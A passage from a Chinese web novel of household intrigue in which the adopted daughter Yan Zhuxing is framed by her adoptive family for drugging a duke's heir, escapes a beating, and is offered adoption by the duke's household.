“蠢货,人家拿你当刀子使你还不自知,还一口一个明月妹妹。你且去找你姑婆认错吧,她若不原谅你,你便去庄子上养个三年五载再回来。”
赵云霏这下是彻底慌了。
她没想到后果会那么严重。
她抽噎着喉咙挤出哭腔:“可若是晏逐星和表叔成了,表叔也有媳妇了啊,姑婆不是一直希望表叔能娶妻生子吗。”
烈国公夫人走进来就听到了她这番话,脸上露出不可思议的表情:“你怎么能说出这般不要脸的话来。”
她伸手指着赵云霏的鼻尖,厉声呵斥:“敦儿比定远侯府那位大小姐足足年长十六岁!他当人家爹爹都够岁数了!”
她的尾音陡然拔高,震得窗棂嗡嗡作响,胸口剧烈起伏着,显然气得不轻。
是,她是想过让儿子过正常人的生活娶妻生子。
可也绝对不是找一个尚未及笄的小姑娘啊。
更何况,前几年太医曾告知过她,儿子肾元先天不足,恐有续嗣之艰。
刚刚她和太医再一次确认了这件事情。
原本调养之后儿子或许还有可能延续子嗣,如今被这虎狼之药损伤,恐怕终其一生都无法有孩子了。
想到这里,她悲从中来,拉着嫂子的手哭诉了起来。
“早知如此,今日我便不该带着敦儿回来,让他被人害了,让尉迟家从此**……”
赵云霏听到这样严厉的指责,根本承受不住,软绵绵栽倒在地,晕了过去。
威宁侯老夫人绞着帕子浑身发抖,老侯爷额角青筋暴起,他们没想到事情竟然闹到了这样无法挽回的地步。
但当着烈国公夫人的面,他们自然不能把责任都怪到小孙女头上。
于是便将所有的过错都推到了晏明月的头上,将赵云霏做的事情说成打抱不平。
……
晏逐星一行人回到定远侯府。
温如霜本想留下晏逐星谈话,料想她应该也不会和自己说实话,便没有自讨没趣,让她离开了,只留下了自己的女儿。
“明月,你和娘亲说实话,今日烈国公府世子的事情,是不是和你有关?”
晏明月支支吾吾,没敢说实话。
温如霜沉下了脸,逼问道:“你上回自作主张已经害得侯府丢了面子,若你再闹出什么事情来,你爹爹肯定不会原谅你。”
听到她这么说,晏明月顿时慌了,她赶忙道:“不是**的,是赵云霏。”
她竹筒倒豆子似的把事情的来龙去脉都说了一遍。
“你傻啊,她嫁去烈国公府对咱们有什么好处。”温如霜被女儿气得头疼。
从前怎么没发现女儿这么蠢呢。
“她现在恨急了咱们全家,她若高嫁,定然会利用婆家对付咱们,到时候咱们可就是哑巴吃黄连,有苦说不出了。”
“此事若是败露,烈国公府和威宁侯府是姻亲不一定会翻脸,说不定两家还要共同恨上咱们家。”
听到母亲的分析,晏明月一阵后怕。
她还是太冲动了。
“娘。”她猛地抓住母亲手腕,“现下可有什么转圜的余地?”
温如霜反手按住女儿颤抖的手,一字一句道:“此事,只能推到晏逐星头上。”
这件事情宜早不宜迟。
她果断领着晏明月,又去了一趟威宁侯府。
“他们又来做什么?”威宁侯夫人钱氏有些不满和疑惑。
婆母的六十大寿闹出了这么一档子事,公公婆婆可气得不轻,还连累她女儿被关到祠堂禁闭。
现在她最不待见的就是定远侯一家。
“说是来赔礼道歉的。”下人恭恭敬敬地回禀。
钱氏眉头微皱,最终还是让人把她们母女二人领了进来。
“钱姐姐,今日之事,真是对不住了。”温如霜放低了姿态,又让丫鬟将赔礼的东西呈了上来。
钱氏慢悠悠地喝了一口茶:“哦?什么事啊?”
“家门不幸。我那长女,唉,真是不知羞耻。竟然想
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要给烈国公世子下药。”温如霜叹了一口气。
钱氏端着茶杯的手一顿,不明白她为什么要把这个黑锅揽到自己女儿身上去。
“前些日子,她知道她不是我亲生的骨肉后,就一直担心我们不要她。先是闹上了京兆府,今日又想攀高枝……”温如霜掏出帕子抹眼泪。
她决意舍弃晏逐星后,就要把这事说出来。
“什么?她不是你亲生的?当时不是说双生子么。”钱氏一惊,没想到会听到这样的秘闻。
“明月一出生就被接生婆给调换了,后来夫君外出偶遇,才找回了她。但当时我们已经养了星儿十年,也舍不得将她送走。毕竟孩子是无辜的呀。”温如霜颠倒黑白。
这套说辞说了那么多年,她自己都要信以为真了。
钱氏脸上的错愕愈发明显。
“但没想到,明月找回来之后,她竟然处处针对明月。上回我忍不住将她身世真相说出来,结果呢,她非但不感恩,还恨上了我们。”温如霜眼泪扑簌簌地往下落。
一旁的晏明月也低声抽泣了起来。
母女二人眼眶通红,看起来可怜极了。
“唉,真是辛苦妹妹你了。这么多年,竟然养了个白眼狼。”钱氏一边安慰她,一边思索着她说这番话的用意。
温如霜之所以这么说,多半是想要舍弃养女保全亲生女儿。
她心知肚明,事情在自家发生,药也是女儿准备的,此事他们脱不开干系。
但如果有人能背上这个黑锅,女儿便可全身而退。
见她眉眼中有所松动,温如霜开口提醒:“今日之事,她那性子定然不会善罢甘休,若我们不提前昭告天下,恐怕咱们两家的声誉都会受损啊。”
钱氏也意识到了晏逐星的性子绝对不是好相与的。
寻常姑娘,哪敢告到京兆府去。
就在她犹豫不决要不要合作时,丫鬟匆匆跑了进来,凑到她身旁低声耳语。
下一瞬,温如霜便瞧见她脸色大变。
第18章 就说……我要**
“引世子爷过去的丫鬟尸身找到了,就在水井底下。”
钱氏听完丫鬟的汇报,一瞬间就下定了决心。
一定要把黑锅扣在晏逐星身上。
这事只能是她做的。
毕竟一个尚未及笄就敢**抛尸的女子,绝对不是什么善茬,他们要先下手为强,将她按到尘埃里去,让她再也无法和他们作对。
“那妹妹此番前来,是想让我怎么做?”钱氏直接把事情挑开了说。
温如霜客客气气道:“我会让儿子押着那个逆女去烈国公府给国公爷和夫人负荆请罪。还请夫人替我们从中牵线搭桥,且不要将此事怪罪到明月身上。”
钱氏点点头,表示明白了。
她看向了晏明月:“那云霏那边?”
“云霏姐姐什么都不知道,她只是同情我被姐姐欺负,替我说了几句公道话罢了。姐姐却因此记恨上她,还说日后嫁到烈国公府,成了她的长辈,定然会让她好看。”晏明月按照母亲教的话,说了出来。
钱氏满意地点了点头。
她的云霏已经在相看人家,名声万不能受损。
温如霜这个养母出面,再加上晏明月这个妹妹作证,以及他们一家和烈国公府那边通过气后,就可以把晏逐星说成一个下作胚子。
待这盆脏水泼瓷实了,他们便是遭了祸害的可怜人。
唯有晏逐星一个恶人。
……
晏逐星回到院子便清点起自己的东西。
她重重拍桌,厉声质问道:“皇后娘娘赏赐的那只金钗怎的不见了?”
她今日带双鲤出门做客本就是局,为的就是用这个借口把屋子里所有的下人都换了。
“搜,掘地三尺也要将本小姐的金钗找出来。若是找不出来,你们全都不用留下了。”晏逐星示意双鲤动手搜查。
满屋奴婢霎时跪成一片,连连求饶。
“奴婢当真不知,求小姐开恩啊!”
就在晏逐星如火如荼搜查金钗下落时,温如霜领着晏明月和晏明修来了玉澜院。
“晏逐星,你好大的威风!真把自己当侯府大小姐了?”瞧见满院子跪下的丫鬟,晏明修忍不住拿话刺她。
自打上回被打之后,他就厌恶极了这个妹妹。
连装都不装了。
晏逐星眉头微皱,这几人来者不善啊。
看着他们身后跟着带刀的护卫,晏逐星的心沉了沉。
她压低声音吩咐身旁慌张的双鲤:“待会趁他们不注意,去京兆府找裴大人,他若不来,便去找永安王。就说……我要**。”
她不确定永安王所谓的报恩,是不是今天就用完了。
还是先去找裴明镜为妙。
果不其然,和她猜测的一样,温如霜一开口就是污蔑。
“星儿,你太让我们失望了,你怎么能做出那样下作的事情,竟然给烈国公世子下药!”
晏明修冷笑一声:“娘,你和她说那么多做什么。不是从您肚子里爬出来的,喂多少参汤也灌不出人样。还是赶紧将她捆了送到国公府请罪去吧。”
一旁的下人们听到这话,忍不住交头接耳了起来。
什么叫不是从夫人肚子里爬出来的。
莫非大小姐并非夫人的亲生孩子?
晏逐星警惕地盯着他们。
温如霜往日里说起她的身份都是屏退了旁人的,如今竟然光明正大的挑开了说,想必是要将她作为弃子,送去顶罪了。
她快言快语反驳道:“就因为我不是亲生的,所以你们要将晏明月这个亲女儿做的龌龊事情盖到我头上,还在这假惺惺地装什么好人!”
“你胡说,明月才不会干这样的事情。”晏明修第一时间站出来维护亲妹妹。
晏明月脸色煞白,又气又急,跺脚催促道:“捂了她的嘴,将她送去烈国公府!”
母亲和哥哥跟晏逐星废话什么,就该一来就堵住她的嘴,怎么还能让她胡言乱语呢。
这下好了,这些贱婢该怀疑她了。
晏明月脸涨得通红。
“拿下她!”晏明修一个眼神,护卫们便冲晏逐星冲了过来。
晏逐星意识到他们要彻底撕破脸,撒腿就跑。
温如霜决不会允许她活蹦乱跳地去国公府请罪,一定会把她打个半死,让她说不出话来,认下那个罪名。
她不能坐以待毙。
“愣着干嘛,抓住她呀!”温如霜快气**。
晏逐星身手灵活,她不打,只跑,那几个护卫想要圈住她,却让她
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找到了空隙钻了出去。
玉澜院一阵鸡飞狗跳。
双鲤趁着主子们不注意,悄悄溜出了玉澜院。
晏逐星知道跑不掉,蹭一下爬上了院子外那棵大树上,在场的人齐齐傻眼了。
他们没见过哪家侯府千金会爬树的。
“晏逐星,你给我下来!”温如霜气得脸色铁青。
“不下,我要下去,你会让人打死我的。你们连下药的事情都能栽赃给我,还有什么事情做不出来!”晏逐星坚决不下去。
她好不容易养好了一点身体,要是再被打一顿,那可就前功尽弃了。
温如霜有些懊恼,早知道就先诓骗晏逐星出府,按住她之后打一顿,让她老实了再说。
反正只要坐实了她给烈国公府世子下药的罪名,皇后娘娘定然不会再召她入宫。
她还不是任由自己捏圆搓扁。
温如霜勃然大怒道:“拿梯子来,必须将这孽女拿下!”
下人搬来梯子爬上树,想要将晏逐星扯下去。
晏逐星抓紧树枝,抬腿蹬向最先攀上来的护卫,那人被她的鹿皮靴底踏中肩头,哐当脱手摔了下去。
而后还有人要上树,晏逐星便捡起枝头的积雪往下砸,下人们哎哟哎哟的叫着,不敢轻易靠近。
温如霜气得浑身发颤,齿缝间迸出森然冷意:“拿斧子来,将这树给我砍了!”
她就不信,她治不了一个小丫头。
下人拿来斧子,两个壮汉抡起斧头就往树干上劈,树身剧烈摇晃,树皮碎块夹杂着积雪簌簌往下掉。
晏逐星赶紧抱住晃动的树枝,这树的主干比水桶还粗一倍,此刻竟被斧头劈得直颤。
她暗暗着急,后颈渗出冷汗。
她如今的身手比不得前世,若就这样摔下去,肯定会受重伤。
再加上底下的护卫虎视眈眈,她恐怕在劫难逃了。
温如霜的眉头渐渐舒展开来,晏明修和晏明月的表情也逐渐幸灾乐祸。
晏逐星只能在心底暗暗祈祷双鲤快点把救兵搬来。
若是不来,她只能看准时机往下跳,然后挟持晏明月了。
双方僵持中,院外忽然传来了一个懒洋洋的声音。
“哟,这侯府可真热闹呀。”
第19章 他来不比裴明镜更让她放心?
众人齐齐看了过去,发现是定远侯回来了,还带了一个人。
先前说热闹的正是此人。
“还不赶紧见过永安王。”定远侯开口催促。
温如霜等人一惊,永安王怎么来了。
他们赶忙行礼:“见过永安王。”
树上的晏逐星看到谢翊宁,下意识地就寻找双鲤的身影,结果没看到人。
她忍不住皱起了眉头。
怎么永安王来了,双鲤却不见了?
不会是出什么事了吧。
“这又在闹什么。”定远侯面色阴沉地看着他们。
他才被皇上训斥了治家无方,如今又让永安王撞到了后宅乱糟糟的场景,还不知道明日皇上会怎么训斥他呢。
温如霜不知道为何永安王会忽然出现在侯府。
但事已至此,她不得不把谎话继续说下去:“今日去威宁侯府做客,星儿她一时糊涂给烈国公府世子下了药,我想让她去国公府请罪,她却不愿意。”
定远侯听到这话,下意识地看了谢翊宁一眼。
这等丑事竟然让永安王听到了。
他顿时气不打一处来,呵斥晏逐星的声音愈发凌厉:“逆女!你竟然如此胆大妄为!还不赶紧滚下来。”
晏逐星还没来得及反驳,就看到双鲤急匆匆地领着裴明镜走了过来。
见晏逐星站在十几尺高的树上,双鲤吓得脸色煞白。
她张口,声音都带着颤抖:“小姐,你,你可千万不要做傻事啊。我把裴大人请来了,裴大人一定会为您主持公道的。”
定远侯一家子听到这话,脸色都跟腌过三秋的咸菜似的,十分难看。
裴明镜怎么也又来了。
一个永安王就够难缠的了,再来一个裴明镜,今日这个脸真是丢大了。
裴明镜先看了树上的晏逐星一眼,方才开口:“见过定远侯,见过永安王。”
看到自己搬的救兵来了,晏逐星悬着的心落回了原处。
裴明镜和永安王都在,温如霜没法要她的命了。
双鲤带着裴明镜,那就说明永安王不是她找来的。
那为什么永安王来得那么快呢?
谢翊宁一直用眼角余光注视着她。
见她瞧见裴明镜后露出了放松的表情,心里莫名有些不满。
怎么,他来不比裴明镜更让她放心?
“不知裴大人今日前来,所为何事?”定远侯挤出笑脸看向裴明镜。
裴明镜拱拱手道:“本官接到这丫鬟的报案,说贵府大小姐性命垂危,让本官来瞧瞧。职责所在,还望侯爷谅解。”
定远侯一家看向双鲤的眼神好似淬了毒一般,这吃里扒外的丫鬟,竟然敢将事情闹到京兆府。
双鲤吓了一跳,低着头躲到了裴明镜身后。
定远侯按下心底的烦躁,开口道:“裴大人,此乃家务事,就不劳烦您了。这丫鬟不懂事,待会我就好好教训她。”
“侯夫人先前说了,我不是她的女儿,这算什么家务事。”晏逐星朗声开口。
这话一出,一片哗然。
晏逐星借着还没挪开的梯子回到了地上,双鲤赶忙跑到了她身边,替她掸去身上的残雪。
裴明镜若有所思地盯着她。
晏逐星先前在树上就酝酿了好一会儿情绪,走到裴明镜面前时,她的眼眶早已红透,眼泪在眼眶里打着转转,看起来可怜极了。
“请裴大人替我做主!”晏逐星跪在地上,将温如霜母女冤枉她的来龙去脉说了一遍。
温如霜大喊:“冤枉啊。裴大人,您切莫相信她的一面之词。是她得知自己并非我和侯爷的亲生骨肉,害怕被我们赶出侯府,所以才做了这样的错事。”
双方各执一词,裴明镜没有马上下定论。
“您若不信,大可以派人去威宁侯府询问。只不过事情牵涉到侯府还有烈国公府,还请裴大人低调行事。”温如霜豁出去了。
反正她已经和威宁侯夫人商量好了,他们那边的下人也会出来作证。
晏逐星要闹,那她就是自寻死路。
听到温如霜这话,晏逐星便意识到她应该是和威宁侯府串通好了。
她的心沉到了谷底。
“本官知晓了。”裴明镜点了点头。
“查证需要时间,明日我会再次登门拜访。届时还需要夫人和大小姐为本官答疑解惑。”
“好。”温如霜底气十足。
一夜的时间,足够做很多事情了。
裴明镜离开后,定远侯抬脚想要踹地上的晏逐星,却被谢
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翊宁轻轻抬脚一挡,踉跄了好几步。
“王爷?”
他这才想起永安王还没走呢。
“本王的玉坠还没找到,你把人踢坏了,我问谁去。”谢翊宁冷冷地瞥了他一眼。
“对对对,王爷您问。”定远侯想起了永安王先前来府上的事情。
“你这死丫头,在威宁侯府时,你可瞧见了王爷的玉坠?”他催促道,想要晏逐星赶快回答,好把永安王送走。
晏逐星一瞬间就反应了过来,这是谢翊宁上门找她的托词。
“有点印象,但我现在有些头疼,想不起来了。”晏逐星扶着额头低喃,假意思索了起来。
谢翊宁微微一笑:“无妨,大小姐可以慢慢想。”
他微微抬起下巴,看向定远侯。
“本王待会让人送一个丫鬟到侯府来,这样令嫒一想起玉坠的下落,她便能及时回府告知本王。侯爷应该不介意吧?”
“不介意,当然不介意。”定远侯急忙摇头。
这可是帝后最疼爱的儿子,满京城里谁敢拒绝他的要求呀。
温如霜母女听到这话,脸色骤变。
永安王这哪里是命人来找玉坠,分明是故意让人来护着这野丫头。
晏逐星这个**,到底怎么勾搭上永安王的!
谢翊宁走后不久,永安王府便送来了一个叫衔蝉的丫鬟。
温如霜知道今夜不能对晏逐星动手了,只得悻悻地带着下人离开。
定远侯将温如霜叫回寝屋中,冷着脸道:“你说实话,到底是怎么一回事?不是说好的不要将她身份抖露出来么。”
温如霜咬定了这事就是晏逐星做的。
上回的事情已经让侯爷对明月不满了,若是知道这事是她闹出来的,肯定要罚她了。
反正晏逐星是个养不熟的白眼狼,还不如一不做二不休,趁着这个机会将她除去。
定远侯听完,脸上闪过一抹狠厉:“既是如此,那你便将事情处理好,莫要让裴明镜又抓住什么错处。”
“嗯,这次绝对不会有问题。”温如霜重重点头。
她已经安排好后招了。
这一次,她势在必得,一定要让晏逐星承认错误。
从此以后,只能在她面前摇尾乞怜。
第20章 顺水推舟,定下两家的婚事吧
“今天威宁侯老夫人寿宴上的事你们听说了吗?”
“什么事?”
“定远侯府的大小姐给烈国公世子下了那种药,她想要勾引世子爷。”
“天呐,世子爷都能当她爹了吧,还是个傻的,图什么呀。”
“这你就不知道了吧,这位大小姐是假的,小时候家里人将她和真千金调包了。她害怕被赶走,去过穷苦日子,可不得拼命想办法留下。”
这种香闺秘闻,最容易传开。
再加上温如霜安排的人从中推波助澜,不过一夜之间,几乎全京城的人都知道了“侯府假千金给国公府世子下**”的事情。
就连东市卖炊饼的老汉都能说上两句。
那绘声绘色的形容,仿佛他当时就在现场。
很快,这消息就传到了烈国公府。
烈国公夫妇面对面坐着,表情凝重。
威宁侯府昨日已经派人知会过他们,说先前是他们弄错了,害人的不是晏明月,而是晏逐星。
不久后定远侯夫人会带着她上门请罪。
如今人没来请罪,这种流言反倒满天飞。
联想到前些日子晏逐星告上京兆府的事情,其中的弯弯绕绕,他们一眼便看穿了。
“夫人,咱们当真要为难一个无辜的小姑娘?”烈国公面色阴沉。
“夫君把我当成什么人了。”赵玉润抿着唇有些不高兴。
她又不是傻子,光听娘家人一面之词。
昨日她已经拷问过儿子身旁伺候的两个小厮,都说没见过晏逐星,是赵云霏的丫鬟将人引走的。
而且永安王也说了,此事最该感谢的是晏逐星,她保全了两家的体面。
他们怎么能恩将仇报呢。
“那夫人打算怎么做?”烈国公松了一口气。
赵玉润说出了自己的打算:“要不咱们就顺水推舟,定下两家的婚事吧。”
“这不合适吧?”烈国公大吃一惊,“那丫头和咱们闺女差不多大,你这……”
“你先听我说完。”赵玉润打断了他。
“我觉得定远侯夫妇似乎不待见那丫头,与其让她在定远侯府里受苦,倒不如让她嫁过来,日后咱们拿她当闺女对待。等过个两年,从族里过继一个孩子到她膝下,认她当娘亲。”
“待到咱们百年之后,她和孩子也能照顾好敦儿。若日后敦儿不在了,也有人给他上香。”
烈国公听到夫人这话,也有些意动:“若今日定远侯府来人,咱们便探探那丫头的口风,若是她不愿,就算了。”
“好。”赵玉润点点头,和夫君达成了一致。
两人神情放松下来,下人却满头大汗地跑了进来,语气急切:“国公爷,夫人,世子醒了,吵着闹着要妹妹。”
“好端端的,敦儿怎么会又喊着要妹妹呢。”赵玉润眼眶顿时红了。
诞下女儿后,一直是儿子陪伴在侧,兄妹两人感情极好。
去年女儿忽然逝世,她足足花了半年的时间,才让儿子接受了妹妹不在了的事情。
怎么去了一趟威宁侯府回来,他又把这事给想起来了。
“别急,咱们先看看去。”烈国公握住了夫人的手,牵着她去找儿子。
夫妻俩一进屋子,就看到儿子一脚踹飞绣花枕头,把整床锦被都扯到地上乱踩。
他像小狗打滚似的瘫在地上,两条腿把青砖地蹬得咚咚响,鼻涕眼泪糊了满脸。
“要妹妹!敦儿现在就要妹妹!”
一旁伺候的两个丫鬟拽他胳膊拽得满脸通红,却没法把他拉起来。
“尉迟敦!你这样子,成何体统!还不赶紧给我坐好。”烈国公沉下脸教训儿子。
听到父亲的声音,尉迟敦有些害怕,他“咕噜”一下坐直了身子,随后爬起来走到了母亲身边。
“娘亲,我要妹妹。”
赵玉润掏出帕子
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,温柔地替他擦掉眼泪。
“娘亲不是说过吗,妹妹不在了,去天上了,变成星星夜夜陪伴着你呢。”
“娘亲骗人,我昨日才见过妹妹!”尉迟敦噘着嘴就要哭。
但看到烈国公瞪成铜铃般的眼睛,又扁扁嘴,将眼泪收了回去。
赵玉润横了夫君一眼,继续温柔询问儿子:“你是不是把云霏他们当成妹妹啦?”
“不是。”尉迟敦重重摇头,他脑海里模模糊糊闪过了晏逐星的脸。
“**,妹妹!”
“就是妹妹!我要妹妹!”
尉迟敦越说越急,抓着母亲的手加重了力道,眼泪又掉了下来。
“不哭不哭。”赵玉润疼得皱起了眉头。
烈国公瞧见这一幕,赶忙拍掉儿子的手,心疼地给老妻揉了揉。
赵玉润灵光一闪:“昨日敦儿见过的女眷,除了威宁侯府的,好像就只剩定远侯府的大小姐了!你说,他是不是把人家当成晞儿了?”
“你别说,还真有可能。”烈国公点了点头。
“呜呜呜,要妹妹。”一旁的尉迟敦见爹娘不理自己,扯着嗓子又哭了起来。
“不许哭,再哭就不让你见妹妹。你可是哥哥,当哥哥的整日哭哭啼啼像什么话。”烈国公嗓门比他更大。
他这一吼,尉迟敦便老实了,委屈巴巴地看着老父亲。
他不哭出声了,只是默默流眼泪,让人看得更难受了。
烈国公到底还是心疼儿子,他看向夫人:“要不,咱们现在派人去把人请来吧。省得敦儿一直哭闹个不停。”
“好。”赵玉润自然不会反对。
她也想知道,为什么儿子会把只有一面之缘的晏逐星认成了妹妹。
很快,烈国公府的管家便驾着马车去定远侯府接人了。
得知国公府来人,温如霜一惊。
难不成是她放出的流言,惹恼了烈国公一家?
第21章 试探
温如霜一颗心七上八下,接见了国公府来的人。
“小的见过定远侯夫人。不知贵府大小姐可在?国公爷和夫人想见她。”
听到这话温如霜眉头微皱,面露迟疑。
如果单独让晏逐星去见烈国公一家,她肯定会乱说话。
可如今有永安王的人在一旁护着,她又不好下手。
再加上晏逐星院子里有小厨房,她不吃大厨房的东西,她连下药让她闭嘴的机会都找不到。
一时间,温如霜进退两难。
国公府的管家看出了她面色的不对劲,试探道:“大小姐可是出了什么事?”
温如霜反过来试探他:“不知国公爷和夫人为何想见小女?”
管家回答滴水不漏:“主子的想法,我们这些做下人的怎么会知道。只不过临行前,国公爷下了死令,今日必须要见到贵府大小姐。”
话都说到这份上了,温如霜自然不能阻拦。
她命贴身丫鬟芰荷领着数十个仆从去玉澜院传话。
看到他们这么大的阵仗,双鲤第一时间张开双臂挡在了晏逐星面前。
“你们想做什么?裴大人今日可还要来问话,还有永安王府上的姐姐也在呢,你们休想伤害小姐!”
没想到芰荷压根不在乎她的威胁,轻轻一抬手,那十个人全都冲了过来。
晏逐星后退半步,温如霜还不死心么,竟然又来。
她下意识地防备。
没想到,那些人没对她动手,而是直冲双鲤而去。
捉住了双鲤,反剪她的双手,将她按倒在地。
芰荷微微一笑:“大小姐,夫人让我给您带句话,您若想保住这丫头的命,去了国公府,该说什么不该说什么,您可得想清楚了。”
晏逐星咬紧牙关,眸色陡然变冷。
原来,他们一开始就是冲着双鲤来的。
他们不敢动她,但一个丫鬟,随便找个借口就可以把她弄**。
心底杀意翻腾,晏逐星一字一句道:“若我回来之后,没看到完好无损的双鲤,定远侯府任何一个人,我都不会放过。”
听到这话,双鲤眼泪“歘”地落了下来。
她哽咽着想说话,却一个字都说不出来。
“大小姐,请吧。”芰荷做了个手势。
“去国公府,我自然要梳洗打扮一番,急什么。”晏逐星冷冷回应,脑海里飞速闪过昨日的画面。
永安王既然是站在她这边的,他带走了尉迟敦,肯定会跟国公夫人解释清楚,错不在她。
那么今日国公府要她过门一叙,未必是问罪。
昨日永安王将衔蝉送来后,她跟衔蝉打听了不少关于国公府的事情。
方才知晓尉迟敦有个妹妹叫尉迟晞,去年坠湖淹**。
尉迟敦或许是把她当成了尉迟晞。
她灵机一动,找了一件和昨天做客时穿的颜色相仿的衣裳,又叫半棠进来给她梳了昨日一样的发髻。
随后,她翻出一张一百两的银票塞到了半棠手里。
“小姐,奴婢惶恐。”半棠露出了惊恐的表情,赶忙跪在地上双手将银票举起交还给晏逐星,仿佛接到了什么烫手山芋。
“你帮我办一件事。办好了,这银票就归你。事成之后,等我从国公府回来,我会再给你一百两银票。”晏逐星面容平静,将她搀扶起来。
半棠看着手里的银票,艰难地咽了咽口水。
她一个月的月银不过二两银子。
前后加起来二百两,抵得上她干十几年的月银了。
有了这些银子,爹爹的腿能治了,兄长也能娶亲了。
“我的时间不多,你考虑好了吗?”晏逐星再次开口。
半棠看着那张银票,咬牙决定赌一把:“奴婢愿为大小姐效力!”
晏逐星冲她招了招手,示意她附耳过来。
她低声耳语几句后,半棠脸色变化莫测。
“大小姐,劳烦您快些,国
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公府的人还等着呢。”门外的芰荷催促道。
晏逐星扫了半棠一眼,补上了最后一句话。
“你若拿了我的银钱不办事,茉儿的下场,就是你的下场。”
半棠瞳孔猝然收缩,齿间将下唇咬出一道血痕。
茉儿的死,对定远侯府的下人来说都是一个噩梦。
头身分离,最后卷了个草席被抛入乱葬岗。
她忽然觉得手里的银票有些烫手。
晏逐星说完便推门而出,跟着芰荷去了会客厅。
温如霜冲芰荷使了个眼神,芰荷微微颔首,温如霜便明白事情办妥了。
她露出一副慈爱的表情:“星儿,国公爷和夫人想见你,你随母亲去一趟吧。”
晏逐星默不作声地点了点头,和她一块上了马车。
很快就抵达了国公府。
一见到烈国公夫妇,温如霜就开始道歉,不给晏逐星开口的机会。
她用帕子擦了擦泛红的眼尾:“这孽障昨日竟敢给世子下药,当真是罪该万死。可这也事出有因。她知晓自己非侯府血脉后,害怕被赶走,这才生出了这样腌臜的念头。”
“她做错了事,本该任凭二位处置。但我心里不落忍啊。她虽然非我亲生,却也在我膝下养了十几年。还望国公爷和夫人,给她一个改过自新的机会。”
她这番话说得好听,黑锅全扣在了晏逐星身上,又表露了一番自己的慈母心肠。
不明真相的人,大概都会觉得她真是为晏逐星操碎了心。
烈国公和夫人赵玉润对视一眼,随后看向了晏逐星。
赵玉润开口道:“孩子,你可有话要对我们说?”
温如霜的心沉了沉。
威宁侯那边不是说已经和国公府这边通过气了么,怎的他们不按说好的来,在她道歉后直接惩罚晏逐星,反倒对晏逐星这般和颜悦色?
迎着烈国公夫妇的目光,晏逐星点了点头。
“有。”
第23章 一切都和她的计划背道而驰
“国公爷抬爱,原不该推辞,只是晚辈觉得此事有些不妥。”
听到这话,烈国公有些意外,他还以为晏逐星会答应呢。
他有些惋惜,忍不住道:“你要不要再考虑几天?”
晏逐星摇了摇头。
“世子将我认成了妹妹,只是个意外,只要找到了原因,或许可以对症下药。”
她并非独一无二,不可取代的。
如果哪天尉迟敦把别人当做妹妹,她又该如何在国公府自处。
就像晏明月回家后,她在侯府就没了立足之地。
靠人人会跑,靠山山会倒。
如今,她只相信自己。
烈国公也跟着摇了摇头:“府里有和晞儿年岁相仿的丫鬟,但敦儿从未把别人认成妹妹。你是唯一一个。”
晏逐星提议道:“要不换上差不多的衣裳试试看?”
烈国公同意了。
他在府中找到了几个身高年龄和晏逐星差不多的丫鬟,又让他们换上了尉迟晞从前的衣裳,梳了一样的发髻,随后把尉迟敦叫了过来。
没想到,尉迟敦看都不看旁人一眼,直奔晏逐星而去。
他委屈巴巴地开口:“妹妹!你怎么不找我!”
烈国公和晏逐星对视一眼,都有些惊讶。
烈国公想了想,指着另一个丫鬟道:“敦儿,你认错人了,那个才是你妹妹。”
尉迟敦眯着眼眸打量了一下那个丫鬟,在她和晏逐星之间来回扫视。
最后还是坚定地扯了扯晏逐星的袖子:“爹爹骗人,这才是妹妹。”
试探了几回,晏逐星也换了衣裳,可尉迟敦就是认准了她。
几回下来,晏逐星心底有了一个猜测。
将丫鬟遣散后,晏逐星斟酌着开口:“我最近在补身子,日日都要喝上一大碗滋补的药膳。听闻尉迟小姐之前也是如此,会不会是我身上的药味让世子觉得很熟悉?”
烈国公露出一副恍然大悟的表情。
“言之有理。”
他老来得女,女儿身子骨比普通姑娘孱弱,因而常年喝补药,身上总是带着若有似无的药味。
而面前的小姑娘也是如此。
晏逐星提醒道:“既是如此,还请国公爷多多防范,省得旁人利用这事钻了空子,坑害了世子,那可就不妙了。”
烈国公听到这话,心下一凛。
是呀,万一有人扮做女儿的模样,引得敦儿认错人,犯下大错可就不妙了。
“丫头,多谢你的提醒。”烈国公想到这个场景,背后不由冒出了冷汗。
他看向晏逐星的眼神愈发满意了。
这么聪明又善良的小姑娘,不能给他当儿媳妇真是太可惜了。
想了想,他忍不住道:“虽然你不愿给我当儿媳妇,但敦儿这般喜欢你这个妹妹,要不你考虑考虑,给我当女儿?从此以后,你可以名正言顺地喊敦儿哥哥,你可愿意?”
晏逐星一愣,觉得这个提议倒是不错。
给烈国公夫妇当义女,可比当儿媳妇好多了。
等到认亲宴那日,那些说她下药勾引尉迟敦的谣言就会不攻自破了。
晏逐星勾起唇角,冲他屈膝行了个标准的武将礼:“能给您当闺女,我做梦都会笑醒,自然是一万个愿意的。”
听到这话,烈国公哈哈一笑,拍了拍她的肩膀。
“好,我就喜欢你这个性子。待我同夫人商议商议,找个良辰吉日,正式将你认作义女。”
……
屋内。
温如霜如坐针毡,心里烦躁不安。
烈国公夫人一直和她说些有的没的,丝毫不提晏逐星下药一事,她摸不准他们到底是个什么意思,连喝到嘴里的茶都变得没有滋味了。
迟迟没看到晏逐星受罚,瞧见烈国公领着晏逐星走了进来,她起身开口道:“时辰不早了,我该带着这丫头回府了。”
“行。那明日我再命人接你到府上来。”烈国公回头嘱咐晏逐星。
晏逐星点了点头。
她先前答应了烈国公,每日到府上陪尉迟敦玩一个时辰。
温如霜看着两人的表情,一肚子的疑惑。
烈国公这态度,不对劲啊。
“那世子下药一事……”她忍不住问了出来。
烈国公摆了摆手:“此事误会一场,就此作罢,我们不会再追究了。”
温如霜怔愣在原地。
她万万没想到,戏台已经搭好,却有人罢演了。
但她
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又不敢对烈国公多说什么,只得勉强一笑:“星儿,还不快快道谢。要不是国公爷宽宏大量,你怕是要下大狱。”
“多谢国公爷,多谢夫人。”晏逐星真心实意地道谢。
“客气什么,反正咱们马上就要成为一家人了。”烈国公摆摆手,爽朗一笑。
“一家人?”温如霜惊得声音都拔高了。
“是,敦儿与她投缘,我和夫人有意将她收为义女。”烈国公把自己的决定说了出来,还当着温如霜的面给了晏逐星一块象征着烈国公府身份的玉佩。
温如霜如遭雷击。
她还想利用这事将晏逐星彻底按死,谁曾想,她竟然得了烈国公夫妇的青睐。
一切都和她的计划背道而驰。
接下来,她该如何跟晏逐星相处。
走出国公府的时候,温如霜还是恍惚的。
上了马车,她忍不住开口询问:“你使了什么法子,竟然哄得国公爷收你当义女?”
“国公爷同情我爹不疼娘不爱呗。”晏逐星面无表情地回答。
“你……”温如霜被她噎得说不出话来。
